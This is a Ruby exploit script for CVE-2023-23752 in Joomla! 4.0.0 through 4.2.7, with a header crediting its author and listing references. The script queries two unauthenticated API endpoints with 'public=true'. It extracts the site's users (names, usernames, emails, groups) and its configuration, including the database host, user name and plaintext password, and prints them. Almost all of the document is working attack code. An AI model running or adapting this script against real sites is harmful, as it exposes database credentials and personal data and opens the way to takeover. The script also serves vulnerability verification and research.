Joomla! v4.2.8 - Unauthenticated information disclosure

#!/usr/bin/env ruby

# Exploit
## Title: Joomla! v4.2.8 - Unauthenticated information disclosure
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752
## Date: 2023-03-24
## Vendor Homepage: https://www.joomla.org/
## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
## Tested on: Joomla! Version 4.2.7
## CVE : CVE-2023-23752
## References:
##   - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/
##   - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
##   - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752
##   - https://nvd.nist.gov/vuln/detail/CVE-2023-23752
##   - https://vulncheck.com/blog/joomla-for-rce
##   - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml

# standard library
require 'json'
# gems
require 'httpx'
require 'docopt'
require 'paint'

doc = <<~DOCOPT
  #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]}

  #{Paint['Usage:', :red]}
    #{__FILE__} <url> [options]
    #{__FILE__} -h | --help

  #{Paint['Parameters:', :red]}
    <url>       Root URL (base path) including HTTP scheme, port and root folder

  #{Paint['Options:', :red]}
    --debug     Display arguments
    --no-color  Disable colorized output (NO_COLOR environment variable is respected too)
    -h, --help  Show this screen

  #{Paint['Examples:', :red]}
    #{__FILE__} http://127.0.0.1:4242
    #{__FILE__} https://example.org/subdir

  #{Paint['Project:', :red]}
    #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec)
    #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis)
    #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752)
DOCOPT

def fetch_users(root_url, http)
  vuln_url = "#{root_url}/api/index.php/v1/users?public=true"
  http.get(vuln_url)
end

def parse_users(root_url, http)
  data_json = fetch_users(root_url, http)
  data = JSON.parse(data_json)['data']
  users = []
  data.each do |user|
    if user['type'] == 'users'
      id = user['attributes']['id']
      name = user['attributes']['name']
      username = user['attributes']['username']
      email = user['attributes']['email']
      groups = user['attributes']['group_names']
      users << {id: id, name: name, username: username, email: email, groups: groups}
    end
  end
  users
end

def display_users(root_url, http)
  users = parse_users(root_url, http)
  puts Paint['Users', :red, :bold]
  users.each do |u|
    puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}"
  end
end

def fetch_config(root_url, http)
  vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true"
  http.get(vuln_url)
end

def parse_config(root_url, http)
  data_json = fetch_config(root_url, http)
  data = JSON.parse(data_json)['data']
  config = {}
  data.each do |entry|
    if entry['type'] == 'application'
      key = entry['attributes'].keys.first
      config[key] = entry['attributes'][key]
    end
  end
  config
end

def display_config(root_url, http)
  c = parse_config(root_url, http)
  puts Paint['Site info', :red, :bold]
  puts "Site name: #{c['sitename']}"
  puts "Editor: #{c['editor']}"
  puts "Captcha: #{c['captcha']}"
  puts "Access: #{c['access']}"
  puts "Debug status: #{c['debug']}"
  puts
  puts Paint['Database info', :red, :bold]
  puts "DB type: #{c['dbtype']}"
  puts "DB host: #{c['host']}"
  puts "DB user: #{Paint[c['user'], :yellow, :bold]}"
  puts "DB password: #{Paint[c['password'], :yellow, :bold]}"
  puts "DB name: #{c['db']}"
  puts "DB prefix: #{c['dbprefix']}"
  puts "DB encryption #{c['dbencryption']}"
end

begin
  args = Docopt.docopt(doc)
  Paint.mode = 0 if args['--no-color']
  puts args if args['--debug']

  http = HTTPX
  display_users(args['<url>'], http)
  puts
  display_config(args['<url>'], http)
rescue Docopt::Exit => e
  puts e.message
end